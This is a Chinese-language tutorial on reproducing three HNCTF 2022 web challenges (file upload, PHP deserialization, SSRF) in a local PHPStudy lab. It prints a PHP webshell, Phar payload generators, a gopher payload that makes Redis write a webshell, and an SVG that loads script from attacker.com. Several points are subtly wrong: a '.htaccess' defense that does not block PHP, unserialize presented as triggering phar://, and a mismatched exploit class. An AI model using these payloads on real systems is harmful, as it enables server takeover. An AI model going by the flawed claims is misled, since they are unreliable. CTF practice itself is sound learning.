当前位置: 首页 > news >正文

PHPStudy环境下,手把手复现HNCTF 2022的3个典型Web漏洞(文件上传+反序列化+SSRF)

PHPStudy环境下实战复现HNCTF 2022三大Web漏洞

在网络安全攻防演练中,漏洞复现是提升实战能力的关键环节。本文将基于Windows平台下的PHPStudy环境,深度还原HNCTF 2022比赛中easy_upload(文件上传)、easy_unser(反序列化)和ez_ssrf(SSRF)三道典型Web题目的漏洞场景。通过环境搭建、漏洞分析、Exploit编写到最终利用的完整闭环,帮助中级安全研究者建立系统的漏洞复现方法论。

1. 环境准备与靶场搭建

1.1 PHPStudy基础配置

首先下载最新版PHPStudy(v8.1或更高版本),安装时勾选以下组件:

  • Apache 2.4.39
  • PHP 7.3.4(需与题目原始环境版本匹配)
  • MySQL 5.7.26

安装完成后,在php.ini中需要特别开启的关键配置:

allow_url_include = On allow_url_fopen = On display_errors = On short_open_tag = On

1.2 题目环境部署

为每个漏洞创建独立的虚拟主机:

  1. vhosts.conf中添加三个站点配置:
<VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/easy_upload" ServerName upload.test </VirtualHost> <VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/easy_unser" ServerName unser.test </VirtualHost> <VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/ez_ssrf" ServerName ssrf.test </VirtualHost>
  1. 修改本地hosts文件添加域名解析:
127.0.0.1 upload.test unser.test ssrf.test

2. easy_upload文件上传漏洞实战

2.1 漏洞代码分析

upload.test站点部署以下模拟代码:

<?php if(isset($_FILES['file'])){ $tmp_name = $_FILES['file']['tmp_name']; $name = $_FILES['file']['name']; if(move_uploaded_file($tmp_name, "uploads/".$name)){ echo "Upload success! Path: uploads/$name"; } } ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button>Upload</button> </form>

关键缺陷

  • 未校验文件类型和内容
  • 未重命名上传文件
  • 未禁用脚本执行权限

2.2 漏洞利用五步法

  1. 制作PHP webshell:
<?php system($_GET['cmd']); ?>
  1. 使用Burp修改文件类型:
Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg
  1. 上传后访问webshell执行命令:
http://upload.test/uploads/shell.php?cmd=whoami
  1. 获取flag路径:
find / -name "*flag*" 2>/dev/null
  1. 使用蚁剑连接管理:
  • 连接URL:http://upload.test/uploads/shell.php
  • 密码:cmd

实际防御中应配置.htaccess禁止脚本执行:
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi

3. easy_unser反序列化漏洞复现

3.1 漏洞环境构建

部署以下反序列化入口代码:

<?php class VulnerableClass { private $cmd = "id"; function __destruct() { system($this->cmd); } } if(isset($_GET['data'])){ unserialize($_GET['data']); } ?>

3.2 Phar反序列化利用

  1. 构造恶意序列化数据生成器:
<?php class Exploit { public $cmd = "cat /flag"; } $phar = new Phar("exploit.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata(new Exploit()); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
  1. 上传phar文件后触发:
http://unser.test/vuln.php?data=phar://uploads/exploit.phar

绕过技巧

  • 使用preg_replace修改序列化属性数量:
$payload = str_replace(':2:', ':3:', serialize($obj));
  • 利用php://filter链式编码:
php://filter/convert.base64-encode/resource=phar://./exploit.phar

4. ez_ssrf服务器端请求伪造

4.1 模拟内网环境搭建

  1. ssrf.test创建内网服务模拟:
<?php // flag.php (内网服务) if($_SERVER['REMOTE_ADDR'] === '127.0.0.1'){ die("FLAG{THIS_IS_SSRF_FLAG}"); } ?>
  1. 部署存在SSRF的接口:
<?php // ssrf.php if(isset($_GET['url'])){ echo file_get_contents($_GET['url']); } ?>

4.2 多协议利用方案

HTTP协议利用

http://ssrf.test/ssrf.php?url=http://127.0.0.1/flag.php

Gopher协议高级利用

  1. 构造攻击内网Redis的payload:
import urllib.parse payload = """ SET injected_key "<?php system($_GET['cmd']);?>" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE """ print(urllib.parse.quote(payload.replace("\n","\r\n")))
  1. 发送SSRF请求:
gopher://127.0.0.1:6379/_[编码后的payload]

防御方案对比表

方案类型实现方式优缺点
域名白名单parse_url()校验host无法防御DNS重绑定
IP黑名单过滤内网IP段可能被进制转换绕过
协议限制只允许HTTP/HTTPS无法防御302跳转
请求限制禁用CURLOPT_FOLLOWLOCATION影响正常业务

5. 联合利用与防御加固

5.1 漏洞组合利用案例

  1. 通过SSRF访问本地Phar文件触发反序列化:
http://ssrf.test/ssrf.php?url=phar:///path/to/exploit.phar
  1. 上传包含SSRF payload的SVG文件:
<svg xmlns="http://www.w3.org/2000/svg"> <script xlink:href="http://attacker.com/ssrf.js"/> </svg>

5.2 企业级防御方案

PHPStudy安全配置清单

  1. 修改Apache默认配置:
<Directory "C:/phpstudy_pro/WWW"> Options -Indexes -ExecCGI php_flag engine off </Directory>
  1. 安装开源WAF:
git clone https://github.com/SpiderLabs/ModSecurity cp modsecurity.conf-recommended /path/to/modsecurity.conf

在漏洞复现过程中,建议使用VirtualBox快照功能保存不同阶段的实验环境状态。遇到问题时,可参考PHP错误日志路径:C:/phpstudy_pro/Extensions/php_logs/php_error.log

http://www.rkmt.cn/news/1505600.html

相关文章:

  • Umi-OCR PaddleOCR引擎识别异常:从诊断到修复的完整解决方案
  • 华硕笔记本性能调优终极指南:G-Helper 5分钟快速上手教程
  • 革命性UEFI启动管理工具:EFI Boot Editor一站式解决方案
  • Vue项目里用SM4加密用户密码,我是这么和后端联调的(附完整代码)
  • MATLAB版移动渐近线法(MMA)拓扑优化核心求解器,含完整测试例程与清晰注释
  • 低成本K2+Padavan固件,解锁校园网锐捷认证全攻略
  • 河北道路声屏障厂家实测排行:5家合规供货企业盘点 - 起跑123
  • 闲置名表变现难?哈尔滨全城可上门 - 奢侈品交易观察员
  • 档案存放到了自己手里速速存到这些地方!别等政审被卡才后悔 - 慧办好
  • SYN6288语音模块进阶玩法:STM32如何实现带背景音乐的智能语音合成与提示音效
  • OptiScaler终极指南:5个技巧让游戏画质提升50%的免费超分辨率工具
  • 一键抠图换背景工具推荐2026:保姆级教程从微信小程序到PC软件
  • 国内主流冷凝回收设备厂家实测排行与工况适配 - 起跑123
  • 选址不用愁!多家知名汽修连锁品牌加盟选址扶持大盘点 - 品牌测评鉴赏家
  • 13Java 网络编程
  • 哈尔滨收的顶手表回收,连锁老店资质齐全交易更安心 - 奢侈品回收测评
  • 3步精通猫抓神器:浏览器资源嗅探终极使用指南
  • DeepSeek V4 Pro + Flash 分工编程:成本骤降 60%+ 的混合模型工作流
  • 价差明显!对比广州数十家回收点 教你选出高性价比门店 - 开心测评
  • 2026 宜昌防水补漏服务商口碑测评榜单|全屋渗漏维修机构优选指南 - 宅安选房屋修缮
  • 终极AI视频抠像指南:如何用MatAnyone实现专业级人物分离与背景替换
  • 石家庄黄金回收怎么选?禹竞名奢汇凭国检认证稳居行业红榜头部 - 名奢变现站
  • GR-RL具身强化学习框架 本文详细列出了深度学习优化器、学习率调度、特征处理、归一化层、激活函数、时序注意力、强化学习、传感器融合、机械臂控制等60项AI系统底层参数配置。涵盖AdamW优化器(β1
  • 大连手表去哪里卖最划算?2026名表回收行情+6家靠谱门店全攻略 - 奢侈品回收评测
  • 厦门格拉芙首饰回收行情解析!本地GRAFF顶奢珠宝无套路出手指南 - 开心测评
  • 手把手教你给RT-Thread设备加个“黑匣子”:用W25Q128和ulog实现日志持久化存储
  • UVa 459 Graph Connectivity
  • 徐州SEO优化公司|中小企业百度排名优化,徐州网络推广公司选型参考(第2期) - 招财兔数字员工
  • C#版NFC开发套件:支持MIFARE Classic读写与Crypto1加解密的即用工程
  • 合肥道路救援哪家好?这份top5机构实践经验分享别错过! - 资讯速览